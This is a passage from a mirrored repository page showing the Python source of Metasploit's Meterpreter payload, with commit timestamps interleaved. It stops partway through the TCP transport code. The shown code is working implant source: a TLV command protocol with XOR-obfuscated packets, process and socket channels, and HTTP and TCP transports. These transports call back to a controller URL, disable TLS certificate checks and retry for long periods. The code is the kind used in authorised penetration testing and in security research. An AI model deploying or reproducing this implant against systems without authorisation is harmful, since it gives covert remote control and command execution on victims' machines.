1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-27 08:33:43 +01:00
metasploit-payloads/python/meterpreter/meterpreter.py

1399 lines
52 KiB
Python
Raw Normal View History

#!/usr/bin/python
import binascii
import code
2013-08-15 15:27:13 +02:00
import os
import platform
2013-08-15 15:27:13 +02:00
import random
import re
import select
import socket
import struct
import subprocess
2013-08-15 15:27:13 +02:00
import sys
import threading
import time
import traceback
try:
2018-01-09 21:43:40 +01:00
import ctypes
except ImportError:
2018-01-09 21:43:40 +01:00
has_windll = False
else:
2018-01-09 21:43:40 +01:00
has_windll = hasattr(ctypes, 'windll')
try:
2018-01-09 21:43:40 +01:00
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
2014-11-14 17:15:22 +01:00
except ImportError:
2018-01-09 21:43:40 +01:00
has_urllib = False
2014-11-14 17:15:22 +01:00
else:
2018-01-09 21:43:40 +01:00
has_urllib = True
2014-11-14 17:15:22 +01:00
if sys.version_info[0] < 3:
2018-01-09 21:43:40 +01:00
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
2018-01-09 21:43:40 +01:00
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
2015-12-08 11:29:40 +01:00
# reseed the random generator.
random.seed()
#
# Constants
#
2014-11-14 23:12:23 +01:00
# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
TRY_TO_FORK = True
2014-11-14 23:12:23 +01:00
HTTP_CONNECTION_URL = None
HTTP_PROXY = None
2014-11-14 23:12:23 +01:00
HTTP_USER_AGENT = None
HTTP_COOKIE = None
HTTP_HOST = None
HTTP_REFERER = None
PAYLOAD_UUID = ''
SESSION_GUID = ''
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
2015-06-26 17:32:51 +02:00
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
2015-06-26 17:32:51 +02:00
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
# Packet header sizes
ENC_NONE = 0
PACKET_XOR_KEY_SIZE = 4
PACKET_SESSION_GUID_SIZE = 16
PACKET_ENCRYPT_FLAG_SIZE = 4
PACKET_LENGTH_SIZE = 4
PACKET_TYPE_SIZE = 4
PACKET_LENGTH_OFF = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
2018-01-09 21:43:40 +01:00
PACKET_ENCRYPT_FLAG_SIZE)
PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
2018-01-09 21:43:40 +01:00
PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE)
class SYSTEM_INFO(ctypes.Structure):
2018-01-09 21:43:40 +01:00
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16)]
2015-12-08 11:29:40 +01:00
def rand_xor_key():
2018-01-09 21:43:40 +01:00
return tuple(random.randint(1, 255) for _ in range(4))
2015-12-08 11:29:40 +01:00
def xor_bytes(key, data):
2018-01-09 21:43:40 +01:00
if sys.version_info[0] < 3:
dexored = ''.join(chr(ord(data[i]) ^ key[i % len(key)]) for i in range(len(data)))
else:
dexored = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
return dexored
2015-12-08 11:29:40 +01:00
def export(symbol):
2018-01-09 21:43:40 +01:00
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
2018-01-09 21:43:40 +01:00
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
2018-01-09 21:43:40 +01:00
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def debug_print(msg):
2018-01-09 21:43:40 +01:00
if DEBUGGING:
print(msg)
@export
def debug_traceback(msg=None):
2018-01-09 21:43:40 +01:00
if DEBUGGING:
if msg:
print(msg)
traceback.print_exc(file=sys.stderr)
@export
def error_result(exception=None):
2018-01-09 21:43:40 +01:00
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
2018-01-09 21:43:40 +01:00
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
2015-06-26 17:32:51 +02:00
@export
def get_hdd_label():
2018-01-09 21:43:40 +01:00
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ''
2015-06-26 17:32:51 +02:00
@export
def get_native_arch():
2018-01-09 21:43:40 +01:00
arch = get_system_arch()
if arch == 'x64' and ctypes.sizeof(ctypes.c_void_p) == 4:
arch = 'x86'
return arch
@export
def get_system_arch():
2018-01-09 21:43:40 +01:00
uname_info = platform.uname()
arch = uname_info[4]
if has_windll:
sysinfo = SYSTEM_INFO()
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
values = {0:'x86', 5:'armle', 6:'IA64', 9:'x64'}
arch = values.get(sysinfo.wProcessorArchitecture, uname_info[4])
if arch == 'x86_64':
arch = 'x64'
return arch
@export
def inet_pton(family, address):
2018-03-29 22:23:24 +02:00
if family == socket.AF_INET6 and '%' in address:
address = address.split('%', 1)[0]
2018-01-09 21:43:40 +01:00
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_enum_tlvs(pkt, tlv_type=None):
2018-01-09 21:43:40 +01:00
offset = 0
while offset < len(pkt):
tlv = struct.unpack('>II', pkt[offset:offset + 8])
if tlv_type is None or (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
val = pkt[offset + 8:(offset + 8 + (tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type': tlv[1], 'length': tlv[0], 'value': val}
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
2018-01-09 21:43:40 +01:00
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
2018-01-09 21:43:40 +01:00
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ''
value = tlv['value']
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if isinstance(value, float):
value = int(round(value))
data = struct.pack('>III', 12, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
else:
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
@export
def tlv_pack_request(method, parts=None):
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, method)
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
parts = parts or []
for part in parts:
pkt += tlv_pack(part['type'], part['value'])
return pkt
#@export
2018-03-18 22:31:23 +01:00
class MeterpreterChannel(object):
def core_close(self, request, response):
self.close()
return ERROR_SUCCESS, response
def core_eof(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, self.eof())
2018-03-18 22:31:23 +01:00
return ERROR_SUCCESS, response
def core_read(self, request, response):
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
return ERROR_SUCCESS, response
def core_write(self, request, response):
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
return ERROR_SUCCESS, response
def close(self):
raise NotImplementedError()
def eof(self):
return False
def is_alive(self):
return True
def notify(self):
return None
2018-03-18 22:31:23 +01:00
def read(self, length):
raise NotImplementedError()
def write(self, data):
raise NotImplementedError()
#@export
class MeterpreterFile(MeterpreterChannel):
2018-01-09 21:43:40 +01:00
def __init__(self, file_obj):
self.file_obj = file_obj
2018-03-18 22:31:23 +01:00
super(MeterpreterFile, self).__init__()
def close(self):
self.file_obj.close()
2018-03-18 22:31:23 +01:00
def eof(self):
return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size
def read(self, length):
return self.file_obj.read(length)
def write(self, data):
self.file_obj.write(data)
return len(data)
export(MeterpreterFile)
#@export
2018-03-18 22:31:23 +01:00
class MeterpreterProcess(MeterpreterChannel):
def __init__(self, proc_h):
self.proc_h = proc_h
super(MeterpreterProcess, self).__init__()
def close(self):
self.proc_h.kill()
def is_alive(self):
return self.proc_h.poll() is None
2018-03-18 22:31:23 +01:00
def read(self, length):
data = ''
stdout_reader = self.proc_h.stdout_reader
if stdout_reader.is_read_ready():
data = stdout_reader.read(length)
return data
def write(self, data):
self.proc_h.write(data)
return len(data)
2018-03-18 22:31:23 +01:00
export(MeterpreterProcess)
#@export
class MeterpreterSocket(MeterpreterChannel):
2018-01-09 21:43:40 +01:00
def __init__(self, sock):
self.sock = sock
self._is_alive = True
2018-03-18 22:31:23 +01:00
super(MeterpreterSocket, self).__init__()
2018-03-18 22:31:23 +01:00
def core_write(self, request, response):
try:
status, response = super(MeterpreterSocket, self).core_write(request, response)
except socket.error:
self.close()
self._is_alive = False
2018-03-18 22:31:23 +01:00
status = ERROR_FAILURE
return status, response
def close(self):
return self.sock.close()
def fileno(self):
return self.sock.fileno()
def is_alive(self):
return self._is_alive
2018-03-18 22:31:23 +01:00
def read(self, length):
return self.sock.recv(length)
def write(self, data):
return self.sock.send(data)
export(MeterpreterSocket)
#@export
class MeterpreterSocketTCPClient(MeterpreterSocket):
2018-01-09 21:43:40 +01:00
pass
export(MeterpreterSocketTCPClient)
#@export
class MeterpreterSocketTCPServer(MeterpreterSocket):
2018-01-09 21:43:40 +01:00
pass
export(MeterpreterSocketTCPServer)
#@export
class MeterpreterSocketUDPClient(MeterpreterSocket):
def __init__(self, sock, peer_address=None):
super(MeterpreterSocketUDPClient, self).__init__(sock)
self.peer_address = peer_address
def core_write(self, request, response):
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value')
if peer_host and peer_port:
peer_address = (peer_host, peer_port)
elif self.peer_address:
peer_address = self.peer_address
else:
raise RuntimeError('peer_host and peer_port must be specified with an unbound/unconnected UDP channel')
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
try:
length = self.sock.sendto(channel_data, peer_address)
except socket.error:
self.close()
self._is_alive = False
status = ERROR_FAILURE
else:
response += tlv_pack(TLV_TYPE_LENGTH, length)
status = ERROR_SUCCESS
return status, response
def read(self, length):
return self.sock.recvfrom(length)[0]
def write(self, data):
self.sock.sendto(data, self.peer_address)
export(MeterpreterSocketUDPClient)
class STDProcessBuffer(threading.Thread):
2018-01-09 21:43:40 +01:00
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
else:
data = self.data[0:l]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
#@export
class STDProcess(subprocess.Popen):
2018-01-09 21:43:40 +01:00
def __init__(self, *args, **kwargs):
debug_print('[*] starting process: ' + repr(args[0]))
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def is_alive(self):
return self.poll() is None
2018-01-09 21:43:40 +01:00
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
2018-01-09 21:43:40 +01:00
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
2018-01-09 21:43:40 +01:00
self.stderr_reader.start()
def write(self, channel_data):
length = self.stdin.write(channel_data)
2018-01-09 21:43:40 +01:00
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
return length
export(STDProcess)
class Transport(object):
2018-01-09 21:43:40 +01:00
def __init__(self):
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
self.communication_last = 0
self.retry_total = SESSION_RETRY_TOTAL
self.retry_wait = SESSION_RETRY_WAIT
self.request_retire = False
def __repr__(self):
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
@property
def communication_has_expired(self):
return self.communication_last + self.communication_timeout < time.time()
@property
def should_retire(self):
return self.communication_has_expired or self.request_retire
@staticmethod
def from_request(request):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if url.startswith('tcp'):
transport = TcpTransport(url)
elif url.startswith('http'):
proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value')
user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT)
http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None)
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
if http_headers:
headers = {}
for h in http_headers.strip().split("\r\n"):
p = h.split(':')
headers[p[0].upper()] = ''.join(p[1:0])
http_host = headers.get('HOST')
http_cookie = headers.get('COOKIE')
http_referer = headers.get('REFERER')
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host,
http_cookie=http_cookie, http_referer=http_referer)
transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
return transport
def _activate(self):
return True
def activate(self):
end_time = time.time() + self.retry_total
while time.time() < end_time:
try:
activate_succeeded = self._activate()
except:
activate_succeeded = False
if activate_succeeded:
self.communication_last = time.time()
return True
time.sleep(self.retry_wait)
return False
def _deactivate(self):
return
def deactivate(self):
try:
self._deactivate()
except:
pass
self.communication_last = 0
return True
def decrypt_packet(self, pkt):
if pkt and len(pkt) > PACKET_HEADER_SIZE:
# We don't support AES encryption yet, so just do the normal
# XOR thing and move on
xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE])
raw = xor_bytes(xor_key, pkt)
return raw[PACKET_HEADER_SIZE:]
return None
def get_packet(self):
self.request_retire = False
try:
pkt = self.decrypt_packet(self._get_packet())
except:
debug_traceback()
return None
if pkt is None:
return None
self.communication_last = time.time()
return pkt
def encrypt_packet(self, pkt):
# The packet now has to contain session GUID and encryption flag info
# And given that we're not yet supporting AES, we're going to just
# always return the session guid and the encryption flag set to 0
# TODO: we'll add encryption soon!
xor_key = rand_xor_key()
raw = binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')) + struct.pack('>I', ENC_NONE) + pkt
result = struct.pack('BBBB', *xor_key) + xor_bytes(xor_key, raw)
return result
def send_packet(self, pkt):
pkt = struct.pack('>I', len(pkt) + 4) + pkt
2018-01-09 21:43:40 +01:00
self.request_retire = False
try:
self._send_packet(self.encrypt_packet(pkt))
except:
debug_traceback()
return False
self.communication_last = time.time()
return True
def tlv_pack_timeouts(self):
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
return response
def tlv_pack_transport_group(self):
trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url)
trans_group += self.tlv_pack_timeouts()
return trans_group
class HttpTransport(Transport):
2018-01-09 21:43:40 +01:00
def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None):
super(HttpTransport, self).__init__()
opener_args = []
scheme = url.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
self.proxy = proxy
opener = urllib.build_opener(*opener_args)
opener.addheaders = []
if user_agent:
opener.addheaders.append(('User-Agent', user_agent))
if http_cookie:
opener.addheaders.append(('Cookie', http_cookie))
if http_referer:
opener.addheaders.append(('Referer', http_referer))
self.user_agent = user_agent
urllib.install_opener(opener)
self.url = url
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
if http_host:
self._http_request_headers['Host'] = http_host
self._first_packet = None
self._empty_cnt = 0
def _activate(self):
return True
self._first_packet = None
packet = self._get_packet()
if packet is None:
return False
self._first_packet = packet
return True
def _get_packet(self):
if self._first_packet:
packet = self._first_packet
self._first_packet = None
return packet
packet = None
xor_key = None
request = urllib.Request(self.url, None, self._http_request_headers)
try:
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
packet = url_h.read()
for _ in range(1):
if packet == '':
break
if len(packet) < PACKET_HEADER_SIZE:
packet = None # looks corrupt
break
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
packet = None # looks corrupt
except:
debug_traceback('Failure to receive packet from ' + self.url)
if not packet:
delay = 10 * self._empty_cnt
if self._empty_cnt >= 0:
delay *= 10
self._empty_cnt += 1
time.sleep(float(min(10000, delay)) / 1000)
return packet
self._empty_cnt = 0
return packet
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
response = url_h.read()
def patch_uri_path(self, new_path):
match = re.match(r'https?://[^/]+(/.*$)', self.url)
if match is None:
return False
self.url = self.url[:match.span(1)[0]] + new_path
return True
def tlv_pack_transport_group(self):
trans_group = super(HttpTransport, self).tlv_pack_transport_group()
if self.user_agent:
trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent)
if self.proxy:
trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy)
return trans_group
class TcpTransport(Transport):
2018-01-09 21:43:40 +01:00
def __init__(self, url, socket=None):
super(TcpTransport, self).__init__()
self.url = url
self.socket = socket
self._cleanup_thread = None
self._first_packet = True
def _sock_cleanup(self, sock):
remaining_time = self.communication_timeout
while remaining_time > 0:
iter_start_time = time.time()
if select.select([sock], [], [], remaining_time)[0]:
if len(sock.recv(4096)) == 0:
break
remaining_time -= time.time() - iter_start_time
sock.close()
def _activate(self):
address, port = self.url[6:].rsplit(':', 1)
port = int(port.rstrip('/'))
timeout = max(self.communication_timeout, 30)
if address in ('', '0.0.0.0', '::'):
try:
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
except (AttributeError, socket.error):
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind(('', port))
server_sock.listen(1)
if not select.select([server_sock], [], [], timeout)[0]:
server_sock.close()
return False
sock, _ = server_sock.accept()
server_sock.close()
else:
if ':' in address:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((address, port))
sock.settimeout(None)
self.socket = sock
self._first_packet = True
return True
def _deactivate(self):
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
cleanup.run()
self.socket = None
def _get_packet(self):
first = self._first_packet
self._first_packet = False
if not select.select([self.socket], [], [], 0.5)[0]:
return bytes()
packet = self.socket.recv(PACKET_HEADER_SIZE)
if packet == '': # remote is closed
self.request_retire = True
return None
if len(packet) != PACKET_HEADER_SIZE:
if first and len(packet) == 4:
received = 0
header = packet[:4]
pkt_length = struct.unpack('>I', header)[0]
self.socket.settimeout(max(self.communication_timeout, 30))
while received < pkt_length:
received += len(self.socket.recv(pkt_length - received))
self.socket.settimeout(None)
return self._get_packet()
return None
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
# XOR the whole header first
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
# Extract just the length
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0]
pkt_length -= 8
# Read the rest of the packet
rest = bytes()
while len(rest) < pkt_length:
rest += self.socket.recv(pkt_length - len(rest))
# return the whole packet, as it's decoded separately
return packet + rest
def _send_packet(self, packet):
self.socket.send(packet)
@classmethod
def from_socket(cls, sock):
url = 'tcp://'
address, port = sock.getsockname()[:2]
